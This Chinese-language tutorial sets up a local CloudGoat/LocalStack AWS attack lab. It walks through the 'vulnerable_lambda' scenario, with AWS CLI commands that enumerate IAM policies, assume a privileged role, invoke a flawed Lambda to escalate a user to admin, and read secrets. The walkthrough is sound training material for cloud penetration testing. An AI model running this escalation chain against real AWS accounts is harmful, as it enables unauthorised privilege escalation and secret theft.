0x00引言
随着云计算技术的迭代更新,越来越多企业开始将其业务上云。然而,当云上资产和业务比重逐渐提升,安全问题也日益凸显,云上资产的网络攻击事件开始层出不穷,云上攻防态势也备受关注。
本文通过基于LocalStack+CloudGoat方案在本地环境中搭建仿真AWS云场景漏洞的靶场环境,为了解云上攻防场景、提升云上攻防渗透技能提供学习和练习环境。
0x01基本概念
AWS
AWS(Amazon Web Services)是亚马逊云计算服务,提供包括计算、存储、数据库、分析、联网、移动、开发者工具、管理工具、安全和企业应用程序等超过200项功能齐全的服务和产品。基于高度可靠、可扩展、低成本的AWS基础设施平台,从数据仓库到部署工具,从目录到内容交付,各类企业和公共部门的客户能够按需访问、定制和配置自己的应用服务,以快速响应不断变化的业务需求。通过AWS,企业无需再提前规划和采购服务器和其他IT基础架构,相反,他们可以在几分钟内立即启动成百上千台服务器,这就是云计算的主要优势之一。
AWS CLI
AWS CLI(AWS命令行界面)是用于管理AWS产品的统一工具,通过安装和配置AWS CLI工具,可以使用命令行控制多个AWS产品并利用脚本来自动执行这些服务。AWS CLI提供了对AWS服务的广泛支持,包括计算、存储、数据库、网络、安全策略等各个领域。使用AWS CLI,不仅可以创建、配置和管理AWS资源,运行脚本和命令来管理基础架构,还能创建EC2实例、管理S3存储桶、配置安全规则等。
LocalStack
LocalStack是一个功能齐全的本地云堆栈,主要用于在本地开发和测试AWS应用程序,而无需与AWS进行交互,可以缩短开发时间,减少不必要的AWS支出并消除维护AWS开发人员帐户的复杂性和风险。可以简单理解为,它提供了一个AWS云服务的本地镜像。
CloudGoat
CloudGoat是一个开源、简单的AWS漏洞场景仿真环境,可以用于演示和测试云安全漏洞,旨在帮助安全研究人员和云安全渗透测试人员更好地了解和测试云安全漏洞。
0x02安装环境
这里以 Ubuntu Server 20.04 版本部署为例。
安装部署LocalStack服务
LocalStack官网提供了多种安装部署方式,这里选取基于Docker-Compose方式进行部署。
1、创建docker-compose.yml文件,内容如下:
services:
localstack:
container_name: "localstack-main"
image: localstack/localstack
ports:
- "4566:4566"
- "4510-4559:4510-4559"
volumes:
- "./volume:/var/lib/localstack"
- "/var/run/docker.sock:/var/run/docker.sock"
2、启动Docker容器服务;
docker compose up
3、查看成功启动的容器服务;
docker ps
安装并配置AWS CLI工具
https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html
AWS CLI的配置文件在 ~/.aws 目录下的 config 和 credentials文件中。
1、下载安装包;
curl “https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip” -o “awscliv2.zip”
2、解压并执行安装;
unzip awscliv2.zip
sudo ./aws/install
3、查看AWS CLI工具版本,确认是否安装成功;
aws --version
4、在config配置文件中添加一个foo用户配置;
vim ~/.aws/config
# config配置文件内容 [profile foo] aws_access_key_id = barid # 这是使用云服务认证的AK,因为这里是使用本地LocalStack模拟云服务,所以可以随意创建 aws_secret_access_key = barkey # 这是使用云服务认证的SK,同上 region = us-east-1 output = json endpoint_url = http://192.168.244.130:4566 # 这里指向本地搭建的LocalStack服务
安装并初始化CloudGoat
可以直接在系统上安装部署CloudGoat,也可以使用CloudGoat容器。(参考:https://github.com/RhinoSecurityLabs/cloudgoat)
这里使用CloudGoat容器方式。
1、使用如下命令将本地aws配置挂载在容器中,并进入cloudgoat容器;
docker run -it -v ~/.aws:/root/.aws/ rhinosecuritylabs/cloudgoat:latest
2、初始化环境;(这里可能遇到Python OSError报错,参看下文Q&A)
./cloudgoat.py config profile
3、配置IP白名单,这里需要配置允许访问cloudgoat漏洞场景的IP白名单列表。(这里配置了Ubuntu宿主机IP,在场景示例中我们将使用宿主机上的AWS CLI工具访问漏洞服务场景)
./cloudgoat.py config whitelist
到此为止,已经成功在本地搭建了CloudGoat靶场环境了。
0x03场景示例
在这里,我们以CloudGoat中的 vulnerable_lambda (Small / Easy) 场景为例,演示如何启动漏洞场景环境并对其进行测试。官方漏洞场景描述如下:
启动场景
1、启动漏洞场景;
./cloudgoat.py create vulnerable_lambda
2、如果成功启动漏洞场景,将生成的 start.txt 文件中的内容配置到AWS CLI的config配置中。
vim ~/.aws/config
接下来就可以基于bilbo账户配置进行测试了。
测试场景
攻击路径如下所示:
在这里,可以使用宿主机上的AWS CLI对上述漏洞场景进行测试。
1、获取bilbo用户的权限
# 查询bilbo用户的ARN和全名
aws --profile bilbo --region us-east-1 sts get-caller-identity
# 列出bilbo用户的相关策略
aws --profile bilbo --region us-east-1 iam list-user-policies --user-name cg-bilbo-vulnerable_lambda_cgid91y1bo3wml
# 列出bilbo用户的所有权限
aws --profile bilbo --region us-east-1 iam get-user-policy --user-name cg-bilbo-vulnerable_lambda_cgid91y1bo3wml --policy-name cg-bilbo-vulnerable_lambda_cgid91y1bo3wml-standard-user-assumer
2、列出所有角色,寻找特权AssumeRole
# 列出所有角色,寻找可被利用的角色
aws --profile bilbo --region us-east-1 iam list-roles | grep cg-
# 列出角色的所有策略
aws --profile bilbo --region us-east-1 iam list-role-policies --role-name cg-lambda-invoker-vulnerable_lambda_cgid91y1bo3wml
# 创建一个可调用lambdas的AssumeRole hacker
aws --profile bilbo --region us-east-1 sts assume-role --role-arn cg-lambda-invoker-vulnerable_lambda_cgid91y1bo3wml --role-session-name hacker
将上述AK/SK添加到AWS CLI的config配置文件中
[profile hacker]
aws_access_key_id = LSIAQAAAAAAALP5XZFYZ
aws_secret_access_key = Us9/yWP/pQ02CY5YO67Y43xNA+FdD6WevDSlBy/D
region = us-east-1
output = json
endpoint_url = http://192.168.244.130:4566
3、寻找可被利用的lambda
aws --profile hacker --region us-east-1 lambda list-functions
4、查看lambda源代码;
aws --profile hacker --region us-east-1 lambda get-function --function-name vulnerable_lambda_cgid91y1bo3wml-policy_applier_lambda1
5、利用存在漏洞的lambda函数;
创建攻击payload文件 payload.json
发送payload
aws --profile hacker --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgid91y1bo3wml-policy_applier_lambda1 --cli-binary-format raw-in-base64-out --payload file://./payload.json out.txt
6、bilbo成功取得admin权限;
# 列出secrets
aws --profile bilbo --region us-east-1 secretsmanager list-secrets
aws --profile bilbo --region us-east-1 secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:us-east-1:000000000000:secret:vulnerable_lambda_cgid91y1bo3wml-final_flag-BVtbqs
0x04Q&A
Q:执行 ./cloudgoat.py config profile 报错如下所示:
A:这是由于宿主机本身Ubuntu系统是x86_64架构,而在cloudgoat容器中安装的terraform可执行程序是arm64架构的。因此,我们只需到terraform官网下载amd64架构的可执行文件替换即可。
在容器内依次执行以下命令:
wget https://releases.hashicorp.com/terraform/1.9.5/terraform_1.9.5_linux_amd64.zip
unzip -d terraform terraform_1.9.5_linux_amd64.zip
cp terraform/terraform /usr/bin/terraform
参考资料
- AWS:https://aws.amazon.com
- LocalStack:https://www.localstack.cloud/
- CloudGoat:https://github.com/RhinoSecurityLabs/cloudgoat
- Terraform:https://developer.hashicorp.com/terraform/install?product_intent=terraform
- AWS Role / AssumeRole使用场景及权限验证:https://blog.yasking.org/a/using-aws-role-assume-role.html